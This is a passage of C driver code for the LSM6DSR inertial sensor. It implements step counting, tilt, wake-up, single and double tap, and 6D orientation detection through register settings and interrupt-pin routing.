*/\n  if (lsm6dsr_pedo_sens_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get step count\n  * @param  pObj the device pObj\n  * @param  StepCount step counter\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_Step_Count(LSM6DSR_Object_t *pObj, uint16_t *StepCount)\n{\n  if (lsm6dsr_number_of_steps_get(&(pObj->Ctx), StepCount) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable step counter reset\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Step_Counter_Reset(LSM6DSR_Object_t *pObj)\n{\n  if (lsm6dsr_steps_reset(&(pObj->Ctx)) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable tilt detection\n  * @param  pObj the device pObj\n  * @param  IntPin interrupt pin line to be used\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable_Tilt_Detection(LSM6DSR_Object_t *pObj, LSM6DSR_SensorIntPin_t IntPin)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Output Data Rate selection */\n  if (LSM6DSR_ACC_SetOutputDataRate(pObj, 26.0f) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection */\n  if (LSM6DSR_ACC_SetFullScale(pObj, 2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable tilt calculation. */\n  if (lsm6dsr_tilt_sens_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable tilt event on either INT1 or INT2 pin */\n  switch (IntPin)\n  {\n    case LSM6DSR_INT1_PIN:\n      if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val1.emb_func_int1.int1_tilt = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    case LSM6DSR_INT2_PIN:\n      if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val2.emb_func_int2.int2_tilt = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Disable tilt detection\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable_Tilt_Detection(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Disable tilt event on both INT1 and INT2 pins */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val1.emb_func_int1.int1_tilt = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val2.emb_func_int2.int2_tilt = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable tilt calculation. */\n  if (lsm6dsr_tilt_sens_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable wake up detection\n  * @param  pObj the device pObj\n  * @param  IntPin interrupt pin line to be used\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable_Wake_Up_Detection(LSM6DSR_Object_t *pObj, LSM6DSR_SensorIntPin_t IntPin)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Output Data Rate selection */\n  if (LSM6DSR_ACC_SetOutputDataRate(pObj, 416.0f) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection */\n  if (LSM6DSR_ACC_SetFullScale(pObj, 2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* WAKE_DUR setting */\n  if (lsm6dsr_wkup_dur_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set wake up threshold. */\n  if (lsm6dsr_wkup_threshold_set(&(pObj->Ctx), 0x02) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable wake up event on either INT1 or INT2 pin */\n  switch (IntPin)\n  {\n    case LSM6DSR_INT1_PIN:\n      if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val1.md1_cfg.int1_wu = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    case LSM6DSR_INT2_PIN:\n      if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val2.md2_cfg.int2_wu = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Disable wake up detection\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable_Wake_Up_Detection(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Disable wake up event on both INT1 and INT2 pins */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val1.md1_cfg.int1_wu = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val2.md2_cfg.int2_wu = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset wake up threshold. */\n  if (lsm6dsr_wkup_threshold_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* WAKE_DUR setting */\n  if (lsm6dsr_wkup_dur_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set wake up threshold\n  * @param  pObj the device pObj\n  * @param  Threshold wake up detection threshold\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Wake_Up_Threshold(LSM6DSR_Object_t *pObj, uint8_t Threshold)\n{\n  /* Set wake up threshold. */\n  if (lsm6dsr_wkup_threshold_set(&(pObj->Ctx), Threshold) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set wake up duration\n  * @param  pObj the device pObj\n  * @param  Duration wake up detection duration\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Wake_Up_Duration(LSM6DSR_Object_t *pObj, uint8_t Duration)\n{\n  /* Set wake up duration. */\n  if (lsm6dsr_wkup_dur_set(&(pObj->Ctx), Duration) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable single tap detection\n  * @param  pObj the device pObj\n  * @param  IntPin interrupt pin line to be used\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable_Single_Tap_Detection(LSM6DSR_Object_t *pObj, LSM6DSR_SensorIntPin_t IntPin)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Output Data Rate selection */\n  if (LSM6DSR_ACC_SetOutputDataRate(pObj, 416.0f) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection */\n  if (LSM6DSR_ACC_SetFullScale(pObj, 2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable X direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_x_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable Y direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_y_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable Z direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_z_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set tap threshold. */\n  if (lsm6dsr_tap_threshold_x_set(&(pObj->Ctx), 0x08) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set tap shock time window. */\n  if (lsm6dsr_tap_shock_set(&(pObj->Ctx), 0x02) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set tap quiet time window. */\n  if (lsm6dsr_tap_quiet_set(&(pObj->Ctx), 0x01) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* _NOTE_: Tap duration time window - don't care for single tap. */\n\n  /* _NOTE_: Single/Double Tap event - don't care of this flag for single tap. */\n\n  /* Enable single tap event on either INT1 or INT2 pin */\n  switch (IntPin)\n  {\n    case LSM6DSR_INT1_PIN:\n      if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val1.md1_cfg.int1_single_tap = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    case LSM6DSR_INT2_PIN:\n      if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val2.md2_cfg.int2_single_tap = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Disable single tap detection\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable_Single_Tap_Detection(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Disable single tap event on both INT1 and INT2 pins */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val1.md1_cfg.int1_single_tap = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val2.md2_cfg.int2_single_tap = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset tap quiet time window. */\n  if (lsm6dsr_tap_quiet_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset tap shock time window. */\n  if (lsm6dsr_tap_shock_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset tap threshold. */\n  if (lsm6dsr_tap_threshold_x_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable Z direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_z_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable Y direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_y_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable X direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_x_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable double tap detection\n  * @param  pObj the device pObj\n  * @param  IntPin interrupt pin line to be used\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable_Double_Tap_Detection(LSM6DSR_Object_t *pObj, LSM6DSR_SensorIntPin_t IntPin)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Output Data Rate selection */\n  if (LSM6DSR_ACC_SetOutputDataRate(pObj, 416.0f) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection */\n  if (LSM6DSR_ACC_SetFullScale(pObj, 2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable X direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_x_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable Y direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_y_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable Z direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_z_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set tap threshold. */\n  if (lsm6dsr_tap_threshold_x_set(&(pObj->Ctx), 0x08) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set tap shock time window. */\n  if (lsm6dsr_tap_shock_set(&(pObj->Ctx), 0x03) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set tap quiet time window. */\n  if (lsm6dsr_tap_quiet_set(&(pObj->Ctx), 0x03) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Set tap duration time window. */\n  if (lsm6dsr_tap_dur_set(&(pObj->Ctx), 0x08) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Single and double tap enabled. */\n  if (lsm6dsr_tap_mode_set(&(pObj->Ctx), LSM6DSR_BOTH_SINGLE_DOUBLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable double tap event on either INT1 or INT2 pin */\n  switch (IntPin)\n  {\n    case LSM6DSR_INT1_PIN:\n      if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val1.md1_cfg.int1_double_tap = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    case LSM6DSR_INT2_PIN:\n      if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val2.md2_cfg.int2_double_tap = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Disable double tap detection\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable_Double_Tap_Detection(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Disable double tap event on both INT1 and INT2 pins */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val1.md1_cfg.int1_double_tap = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val2.md2_cfg.int2_double_tap = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Only single tap enabled. */\n  if (lsm6dsr_tap_mode_set(&(pObj->Ctx), LSM6DSR_ONLY_SINGLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset tap duration time window. */\n  if (lsm6dsr_tap_dur_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset tap quiet time window. */\n  if (lsm6dsr_tap_quiet_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset tap shock time window. */\n  if (lsm6dsr_tap_shock_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset tap threshold. */\n  if (lsm6dsr_tap_threshold_x_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable Z direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_z_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable Y direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_y_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable X direction in tap recognition. */\n  if (lsm6dsr_tap_detection_on_x_set(&(pObj->Ctx), PROPERTY_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set tap threshold\n  * @param  pObj the device pObj\n  * @param  Threshold tap threshold\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Tap_Threshold(LSM6DSR_Object_t *pObj, uint8_t Threshold)\n{\n  /* Set tap threshold. */\n  if (lsm6dsr_tap_threshold_x_set(&(pObj->Ctx), Threshold) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set tap shock time\n  * @param  pObj the device pObj\n  * @param  Time tap shock time\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Tap_Shock_Time(LSM6DSR_Object_t *pObj, uint8_t Time)\n{\n  /* Set tap shock time window. */\n  if (lsm6dsr_tap_shock_set(&(pObj->Ctx), Time) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set tap quiet time\n  * @param  pObj the device pObj\n  * @param  Time tap quiet time\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Tap_Quiet_Time(LSM6DSR_Object_t *pObj, uint8_t Time)\n{\n  /* Set tap quiet time window. */\n  if (lsm6dsr_tap_quiet_set(&(pObj->Ctx), Time) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set tap duration time\n  * @param  pObj the device pObj\n  * @param  Time tap duration time\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Tap_Duration_Time(LSM6DSR_Object_t *pObj, uint8_t Time)\n{\n  /* Set tap duration time window. */\n  if (lsm6dsr_tap_dur_set(&(pObj->Ctx), Time) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable 6D orientation detection\n  * @param  pObj the device pObj\n  * @param  IntPin interrupt pin line to be used\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable_6D_Orientation(LSM6DSR_Object_t *pObj, LSM6DSR_SensorIntPin_t IntPin)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Output Data Rate selection */\n  if (LSM6DSR_ACC_SetOutputDataRate(pObj, 416.0f) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection */\n  if (LSM6DSR_ACC_SetFullScale(pObj, 2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* 6D orientation enabled. */\n  if (lsm6dsr_6d_threshold_set(&(pObj->Ctx), LSM6DSR_DEG_60) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable 6D orientation event on either INT1 or INT2 pin */\n  switch (IntPin)\n  {\n    case LSM6DSR_INT1_PIN:\n      if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val1.md1_cfg.int1_6d = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    case LSM6DSR_INT2_PIN:\n      if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val2.md2_cfg.int2_6d = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Disable 6D orientation detection\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable_6D_Orientation(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Disable 6D orientation event on both INT1 and INT2 pins */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val1.md1_cfg.int1_6d = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val2.md2_cfg.int2_6d = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset 6D orientation. */\n  if (lsm6dsr_6d_threshold_set(&(pObj->Ctx), LSM6DSR_DEG_80) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set 6D orientation threshold\n  * @param  pObj the device pObj\n  * @param  Threshold 6D Orientation detection threshold\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_6D_Orientation_Threshold(LSM6DSR_Object_t *pObj, uint8_t Threshold)\n{\n  if (lsm6dsr_6d_threshold_set(&(pObj->Ctx), (lsm6dsr_sixd_ths_t)Threshold) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the status of XLow orientation\n  * @param  pObj the device pObj\n  * @param  XLow the status of XLow orientation\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_6D_Orientation_XL(LSM6DSR_Object_t *pObj, uint8_t *XLow)\n{\n  lsm6dsr_d6d_src_t data;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_D6D_SRC, (uint8_t *)&data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *XLow = data.xl;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the status of XHigh orientation\n  * @param  pObj the device pObj\n  * @param  XHigh the status of XHigh orientation\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_6D_Orientation_XH(LSM6DSR_Object_t *pObj, uint8_t *XHigh)\n{\n  lsm6dsr_d6d_src_t data;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_D6D_SRC, (uint8_t *)&data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *XHigh = data.xh;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the status of YLow orientation\n  * @param  pObj the device pObj\n  * @param  YLow the status of YLow orientation\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_6D_Orientation_YL(LSM6DSR_Object_t *pObj, uint8_t *YLow)\n{\n  lsm6dsr_d6d_src_t data;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_D6D_SRC, (uint8_t *)&data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *YLow = data.yl;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the status of YHigh orientation\n  * @param  pObj the device pObj\n  * @param  YHigh the status of YHigh orientation\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_6D_Orientation_YH(LSM6DSR_Object_t *pObj, uint8_t *YHigh)\n{\n  lsm6dsr_d6d_src_t data;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_D6D_SRC, (uint8_t *)&data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *YHigh = data.yh;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the status of ZLow orientation\n  * @param  pObj the device pObj\n  * @param  ZLow the status of ZLow orientation\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Get_6D_Orientation_ZL(LSM6DSR_Object_t *pObj, uint8_t *ZLow)\n{\n  lsm6dsr_d6d_src_t data;\n\n  if (lsm6dsr_read_reg(&(pObj->Ctx), LSM6DSR_D6D_SRC, (uint8_t *)&data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  *ZLow = data.zl;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the status of ZHigh orientation\n  * @param  